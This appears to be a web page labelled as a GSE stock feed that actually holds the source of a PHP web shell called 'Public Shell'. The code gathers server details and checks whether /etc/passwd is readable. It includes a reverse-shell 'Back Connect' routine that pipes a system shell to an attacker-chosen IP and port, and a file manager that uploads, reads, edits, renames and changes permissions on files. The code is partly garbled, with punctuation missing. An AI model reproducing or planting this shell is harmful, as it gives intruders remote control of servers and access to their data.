GSE STOCK FEED [Delay=3mins]
  Monday March 26th, 2018
Issue No. ISIN Value (million) Coupon % Maturity

Public Shell

'; ';
$freespace_show = sprintf('%1.2f' $bytes / pow($base $class)) . ' ' . $si_prefix[$class] . '';
$etc_passwd = @is_readable("/etc/passwd") ? "ON " : "
echo 'Disable Functions: ';
if ('' == ($func = @ini_get('disable_functions'))) {
echo "NONE";
} else {
echo "$func";
echo '
}
echo '
';
echo 'Uname : '.php_uname().'';
echo '
';
echo 'PHP Version : '. phpversion() .'';
echo '
';
echo 'Server Admin : '.$_SERVER['SERVER_ADMIN'].'';
echo '
';
echo 'Server IP : '.$_SERVER['SERVER_ADDR'].' ';
echo 'Your IP : '.$_SERVER['REMOTE_ADDR'].'';
echo "
";
echo "Safe Mode : ";
// Check for safe mode
if( ini_get('safe_mode') ) {
print 'Safe Mode is ON';
} else {
print 'Safe Mode is OFF';
}
echo "
";
echo "Read etc/passwd : $etc_passwd";
echo "Functions : ";echo "PHP INFO ";
if(@$_GET['p']=="info"){@phpinfo();
exit;}
?>

Back Connect
IP :
PORt :
function printit ($string)
{
if (!$daemon)
{
print "$string\
;
}
}
$bc = $_GET[connect"];
switch($bc)
{
case "Pub":
set_time_limit (0);
$VERSION = "1.0";
$ip = $_POST["ip"];
$port = $_POST["port"];
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork'))
{
$pid = pcntl_fork();
if ($pid == -1)
{
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
}
else {
print("DISCONNECTED");
}
// Change to a safe directory
chdir("/tmp/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip $port $errno $errstr 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe" r) // stdin is a pipe that the child will read from
1 => array("pipe" w) // stdout is a pipe that the child will write to
2 => array("pipe" w) // stderr is a pipe that the child will write to
);
$process = proc_open($shell $descriptorspec $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block even though stream_select tells us they won't
stream_set_blocking($pipes[0] 0);
stream_set_blocking($pipes[1] 0);
stream_set_blocking($pipes[2] 0);
stream_set_blocking($sock 0);
printit("");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit(" :- TCP connection ended");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("END of STDOUT");
break;
}
// Wait until a command is end down $sock or some
// command output is available on STDOUT or STDERR
$read_a = array($sock $pipes[1] $pipes[2]);
$num_changed_sockets = stream_select($read_a $write_a $error_a null);
// If we can read from the TCP socket send
// data to process's STDIN
if (in_array($sock $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0] $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1] $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1] $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2] $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2] $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
break;
}
?>
set_time_limit(0);
error_reporting(0);
if(get_magic_quotes_gpc()){
foreach($_POST as $key=>$value){
$_POST[$key] = stripslashes($value);
}
}
echo '
Public Shell Version 2.0
';
Current Path : ';
if(isset($_GET['path'])){
$path = $_GET['path'];
}else{
$path = getcwd();
}
$path = str_replace('\\' '/' $path);
$paths = explode('/' $path);
foreach($paths as $id=>$pat){
if($pat == '' && $id == 0){
$a = true;
echo '/';
continue;
}
if($pat == '') continue;
echo '
for($i=0;$i<=$id;$i++){
echo "$paths[$i]";
if($i != $id) echo "/";
}
echo '">'.$pat.'/';
}
echo '
';
if(isset($_FILES['file'])){
if(copy($_FILES['file']['tmp_name'] $path.'/'.$_FILES['file']['name'])){
echo 'File Upload Done.
';
}else{
echo 'File Upload Error.
';
}
}
echo '
';
echo '
File Upload :
if(isset($_GET['filesrc'])){
echo "
Current File : ";
echo $_GET['filesrc'];
echo '

';
echo('
'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'
');
}elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
echo '

'.$_POST['path'].'

';
if($_POST['opt'] == 'chmod'){
if(isset($_POST['perm'])){
if(chmod($_POST['path'] $_POST['perm'])){
echo 'Change Permission Done.
';
}else{
echo 'Change Permission Error.
';
}
}
echo '
Permission : fileperms($_POST['path'])) -4).'" />
';
}elseif($_POST['opt'] == 'rename'){
if(isset($_POST['newname'])){
if(rename($_POST['path'] $path.'/'.$_POST['newname'])){
echo 'Change Name Done.
';
}else{
echo 'Change Name Error.
';
}
$_POST['name'] = $_POST['newname'];
}
echo '
New Name :
';
}elseif($_POST['opt'] == 'edit'){
if(isset($_POST['src'])){
$fp = fopen($_POST['path'] 'w');
if(fwrite($fp $_POST['src'])){
echo 'Edit File Done.
';
}else{
echo 'Edit File Error.
';
}
fclose($fp);
}
echo '